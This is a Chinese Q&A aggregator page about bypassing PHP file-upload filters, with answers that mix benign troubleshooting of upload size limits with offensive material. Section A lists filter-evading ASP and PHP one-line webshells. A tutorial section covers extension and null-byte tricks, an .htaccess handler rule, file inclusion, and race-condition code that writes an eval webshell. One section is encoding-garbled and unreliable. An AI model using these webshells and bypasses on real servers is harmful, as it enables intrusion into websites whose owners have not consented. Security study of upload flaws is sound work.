導航:首頁 > 編程語言 > php上傳繞過

php上傳繞過

發布時間:2024-06-25 05:02:59

A. 一句話木馬及幾種可繞過過濾格式

2. <%executerequest("YouPass")%> 3. <%execute(request("YouPass"))%>免殺大部分網站的一句話 4.<% set ms = server.CreateObject("MSScriptControl.ScriptControl.1") ms.Language="VBScript" ms.AddObject "Response", Response ms.AddObject "request", request ms.ExecuteStatement("ev"&"al(request(""YouPass""))") %>繞過部分網站過濾<%,%>的一句話 5.<script language=VBScript runat=server>execute request("YouPass")</script>繞過部分網站過濾雙引號的一句話 6.<%eval request(YouPass(35))%>php一句話 7.<?>

B. PHP上傳文件失敗

提示顯示的很清楚的。文件已經上傳了行洞,但是在把文件薯吵從臨時文檔手枯件夾移出來出錯了。注意新地址是否正確

可以使用絕對路徑或者相對路徑,看個人http://www.hi-docs.com/php/move_uploaded_file.html

C. php文件上傳失敗的問題

在用PHP進行文件上傳的操作中,需要知道怎麼控制上傳文件大小的設置,而文件可傳大小是受到多種因素制約的,現總結如下:
1、php.ini:upload_max_filesize 所上傳的文件的最大大小。默認值2M。

2、php.ini:memory_limit 本指令設定了一個腳本所能夠申請到的最大內存位元組數,默認值8M。如果不需要任何內存上的限制,必須將其設為 -1。如果內存不夠,則可能出現錯誤:Fatal error: Allowed memory size of X bytes exhausted (tried to allocate Y bytes)
3、php.ini:post_max_size 設定POST數據所允許的最大大小。此設定也影響到文件上傳。要上傳大文件,該值必須大於 upload_max_filesize。
4、php.ini:max_execution_time = 30 ; Maximum execution time of each script, in seconds
5、php.ini:max_input_time = 60 ; Maximum amount of time each script may spend parsing request data
6、如果用到mysql的BLOB進行二進制文件存儲,則需要設置my.ini:max_allowed_packet=xxM

7、httpd.conf
在 Apache 裡面有一個選項是 LimitRequestBody,這個選項可以限制用戶送出的 HTTP 請求內容。這個選項可以在 .htaccess 或 httpd.conf 里使用,而如果在 httpd.conf 內使用,分別可以用在 virtualhost 或目錄屬性設定。而 LimitRequestBody 的設定值是介乎 0 (無限制) 至 2147483647 (2GB)。
例如要在目錄 D:/AppServ/www 設定上傳限制為 100K,可以在 .htaccess 或 httpd.conf 加入以下語句:
LimitRequestBody 1024000000
Options Indexes FollowSymLinks MultiViews ExecCGI
AllowOverride All
Order allow,deny
Allow from all
LimitRequestBody 1024000000Options Indexes FollowSymLinks MultiViews ExecCGIAllowOverride AllOrder allow,denyAllow from all
如果透過 .htaccess 設定,儲存檔案後會立即生效;如透過 httpd.conf 設定,須要重新啟動 Apache。
PHP關於文件上傳部分,特別提到表單隱藏域:MAX_FILE_SIZE,意思是接收文件的最大尺寸。文檔中給出的例子如下:
<form enctype=」multipart/form-data」 action=」_URL_」 method=」POST」>
<input type=」hidden」 name=」MAX_FILE_SIZE」 value=」30000″>
Send this file: <input name=」userfile」 type=」file」>
<input type=」submit」 value=」Send File」>
form>
Send this file:
這里設置MAX_FILE_SIZE = 30000,期待一種可能,使得瀏覽器在傳送文件之前能夠依此作出預先判斷,如果文件尺寸大於30000位元組,則不執行實際的POST動作。也就是不往伺服器發送文件內容,而是直接在客戶端提醒用戶「你試圖上傳的文件超過30000位元組」。
這的確是一個非常棒的主張,但在現實中卻暫時無法實現。不是因為這個限制可以「被簡單地繞過」,而是IE和FireFox這兩個主流瀏覽器都不支持這個特性。PHP的這個建議尚未被採納。
MAX_FILE_SIZE還有一個用場:後台PHP會判斷接收到的文件大小是否大於這個值,如果超出,$_FILES[『thisfile』][『error』]會被設置為UPLOAD_ERR_FORM_SIZE(2),同時放棄保存臨時文件,將$_FILES[『thisfile』][『size』]置0。
這個例子,沒問題,表現正常,當我試圖上傳一個40多K的文件時,PHP程序報告「文件超過MAX_FILE_SIZE」。
但是,如果我們將表單中的MAX_FILE_SIZE從30000減少到1000,情形又如何呢?
上傳800位元組的文件,正常;
上傳40K的文件,PHP報告文件過大,也正常;
上傳3000個位元組的文件,PHP未報告錯誤,它成功保存了文件!出乎意料!
問題就出在main/rfc1867.c中判斷文件是否超長的這部分代碼上。php每次從buffer中讀取FILLUNIT位元組長度的內容後,首先判斷「已經讀到的內容長度(total_bytes)」是否大於MAX_FILE_SIZE,然後再增加「已經讀到的內容長度(total_bytes)」。這樣一來,和預計的結果之間至多會有FILLUNIT位元組的誤差,而FILLUNIT=1024*5=5K。(點擊bug了解詳細內容)
這就是說,當MAX_FILE_SIZE<5K時,上傳一個大於MAX_FILE_SIZE,但是小於5K的文件是沒有問題的。
當然,因為這個設置很容易被繞過,所以伺服器端編程不應當依賴於MAX_FILE_SIZE。而且,5K到底是個很小的數值,對大多數上傳文件的表單來說沒有影響。
PHP中post_max_size,upload_max_filesize, MAX_FILE_SIZE的設置,和客戶端上傳給伺服器端的流量大小無關。
Apache伺服器從客戶端接收長度不超過LimitRequestBody位元組數的請求,然後傳送給php模塊,php模塊再決定是否保存成臨時文件,設置$_FILES全局變數,移交給script進一步處理。
這個Apache的LimitRequestBody選項預設值=0,允許Request body的最大位元組數是2G(linux + Apache)
最後還要注意的是:
html本身能夠post數據也是有限制的,不能超過2G。
FTP客戶端有文件偏移指針的2GB邊界限制,未使用特殊編譯flag編譯的ftp伺服器端或者客戶端,無論在什麼FS中都不支持大於2GB的文件。不知道PHP會不會也有這種情況。

D. 濡傛灉欏甸潰鎻愮ず涓嶈兘涓婁紶php鏂囦歡閭d箞浣跨敤鎵╁睍鍚嶇粫榪囨柟寮忎笂浼犳枃浠剁殑璇濅笅鍒楀摢縐嶆柟+錛

濡傛灉緗戦〉闄愬埗浜嗕笂浼燩HP鏂囦歡,鍙浠ュ皾璇曚嬌鐢ㄤ互涓嬫柟寮忕粫榪囪ラ檺鍒朵笂浼燩HP鏂囦歡:
1. 浣跨敤鍙屾墿灞曞悕 - shell.php.jpg
鏈嶅姟鍣ㄥ彲鑳藉彧媯鏌ョ涓涓鎵╁睍鍚,榪欎釜鍙浠ヤ笂浼燩HP鏂囦歡騫墮噸鍛藉悕涓篜HP鎵ц屻
2.浣跨敤絀虹櫧絎 - shell.php%20.jpg
涓浜涙湇鍔″櫒榪囨護瑙勫垯鍙鑳戒細蹇界暐絀虹櫧絎,瀵艱嚧緇曡繃銆
3.浣跨敤澶у啓鎵╁睍鍚 - shell.PHP
鏈夌殑鏈嶅姟鍣ㄤ粎媯鏌ュ皬鍐欐墿灞曞悕銆
4.浣跨敤鐗規畩緙栫爜 - shell.php%00.jpg
涓浜涜繃婊ゅ櫒鍙鑳戒細蹇界暐絀哄瓧絎00,浠庤屽彲緇曡繃銆
5.浣跨敤鏉′歡娉ㄩ噴 - shell.php#.jpg
絀烘牸鍜#鍙鑳借榪囨護璺寵繃鑰岄犳垚緇曡繃銆
6.浣跨敤鐗規畩鐨勫弻鎵╁睍鍚 - shell.php.php5.jpg
涓浜涜繃婊や粎鏍¢獙絎涓涓鐐廣
7.鍒囧垎鏂囦歡澶村拰鍐呭瑰垎寮涓婁紶
浣嗘槸榪欎簺鏂規硶閮戒緷璧栨湇鍔″櫒絝鐨勮繃婊よ勫垯涓嶅熷畬鍠,浠庡畨鍏ㄨ掑害鏉ヨ,鏈嶅姟鍣ㄧ鏈濂借繘琛岀櫧鍚嶅崟楠岃瘉,鑰屼笉鏄浠呬粎榛戝悕鍗曢檺鍒,浠庢牴鏈涓婃潨緇濇枃浠朵笂浼犳紡媧炪
鍙﹀,浣滀負鐢ㄦ埛鎴戜滑涔熶笉搴旇ュ皾璇曢潪娉曠粫榪囦笂浼犻檺鍒舵垨鑰呬笂浼犱笉闇瑕佺殑webshell銆

E. 文件上傳漏洞的類型有哪些

1、 前端檢測繞過
有的站點只在前端對文件的類型有所限制,我們只需用bp抓包然後修改文件後綴名就能繞過這種檢測。
2、 文件頭檢測繞過
有的站點使用文件頭來檢測文件的類型,這種檢測可以在shell前加入相應的位元組一繞過檢測,幾種常見的文件類型的頭位元組如下:

3、 後綴檢測繞過
部分伺服器僅根據文件後綴、上傳時的信息或者文件頭來判斷文件類型,此時可以繞過。php由於歷史的原因,部分解釋器可能支持符合正則/ph(p[2-7]?|t(ml)?)/的後綴,如php/php5/pht/phtml/shtml/pwml/phtm等。如果後端對文件名進行了過濾,可以嘗試雙寫文件名,比如1.pphphp。
4、 系統命名繞過
在windows系統中,上傳不符合windwos命名規則的文件名會被windows系統自動去掉不符合規則符號後面的內容,例如:test.asp.、test.asp(空格)、test.php:1.jpg、test.php:: D A T A 、 t e s t . p h p : : DATA、test.php:: DATA、test.php::DATA…這些文件上傳到伺服器端之後都會變成test.php
在linux系統下,可以嘗試上傳文件後綴名為大小寫混用的Php文件。
5、 文件包含繞過
在文件包含的時候,為了靈活包含文件,將被包含文件設置為變數,通過動態變數來引入需要包含的文件,用戶可以對變數的值進行控制,而伺服器端未對變數進行合理的校驗,這樣就導致所包含的文件有可能存在惡意代碼。比如1.php
<?php $file=$_GET[『file』]; include($file); ?>
這個程序就包含了一個文件,我們在1.txt文件中寫入
<?php phpinfo(); ?>
然後將這個文件包含在1.php中1.php?file=1.txt這樣
<?php phpinfo(); ?>就成功寫入1.php這個文件當中,我們訪問1.php這個文件的時候就能出現php信息那個頁面。利用這個漏洞我們就可以進行文件上傳,我們只需包含一個一句話木馬內容的txt就能用菜刀連接,這樣就成功執行了文件上傳。
6、 解析漏洞繞過
目錄解析:在網站中建立名稱為*.asp、.asa格式的文件夾時,其文件夾下面的文件都會被當做asp執行。
文件解析:當文件名為.asp;1.jpg時,也會被當做asp執行
Apache解析漏洞:Apache在解析文件時,是從右往左,如果遇到不認識的擴展名時,就會繼續向左判斷,例如1.php.rar就會被當做
php解析。
IIS 7.0/IIS 7.5/Nginx<0.8.3畸形文件解析漏洞,當訪問http://xxx.com/1.jpg/1.php時,此時1.php不存在,就會將1.jpg當做php文件去執行,所以如果存在該漏洞,將php木馬後綴改成jpg然後訪問1.jpg/1.php然後1.jpg就會被當成1.php來執行。
.htaccess,該文件裡面的代碼如下:
<FilesMatch 「1」>
SetHandler application/x-httpd-php

這段代碼的意思就是文件名包含」1」這個這個字元串就會被當成php文件來處理。但是值得注意的是上傳.htaccess必須是網站根路徑。
7、 文件截斷繞過
00截斷:由於00代表結束符,所以會把00後面的所有字元刪除。
能利用這個漏洞的前提是,php版本要小於5.3.4,magic_quotes_gpc需要為OFF狀態。我們用bp進行攔包之後,需要send to repeater,然後在hex中,在php後面添加00
8、 競爭條件攻擊
一些網站上傳文件邏輯上是允許上傳任意文件的,然後檢查上傳文件的內容是否包含webshell腳本,如果包含則刪除該文件,這里存在的問題是文件上傳成功之後和刪除文件之間存在一個短的時間差,攻擊者就可以利用這個時間差來上傳漏洞攻擊。攻擊者先上傳一個webshell腳本1.php內容如下:
<?php fputs(fopen(『../shell.php』,』w』),』<?php @eval($_POST[a]) ?>』); ?>
代碼內容就是生成一個新的webshell,shell.php,那麼當1.php上傳成功之後,我們快速訪問這個文件,這時就會在伺服器端當前目錄下自動生成shell.php,這時就利用時間差完成了webshell的上傳。

閱讀全文

與php上傳繞過相關的資料

熱點內容
go在win7下編譯特別慢 瀏覽:244
光遇ios耳機安卓為什麼沒有 瀏覽:902
小米手機桌面文件夾經常自動散開 瀏覽:604
小米電話手錶用什麼app進行設置 瀏覽:263
虛擬列印機pdf下載 瀏覽:669
jdk編譯運行方法 瀏覽:457
android執行shell命令 瀏覽:347
程序員頭像女 瀏覽:55
有什麼可以變頭發顏色的app 瀏覽:933
玩具解壓屋游戲下載 瀏覽:847
我的世界拔刀劍伺服器地址id 瀏覽:889
程序員年輕人的危機 瀏覽:217
明朝那些事pdf 瀏覽:731
mysql命令查看錶 瀏覽:535
阿里雲伺服器登錄密碼忘了怎麼辦 瀏覽:499
linuxwwwdata 瀏覽:996
用蘋果終端java編譯 瀏覽:368
安卓怎麼拼接截屏 瀏覽:21
如何從安卓手機上修改wifi密碼 瀏覽:230
安卓12一加如何升級 瀏覽:97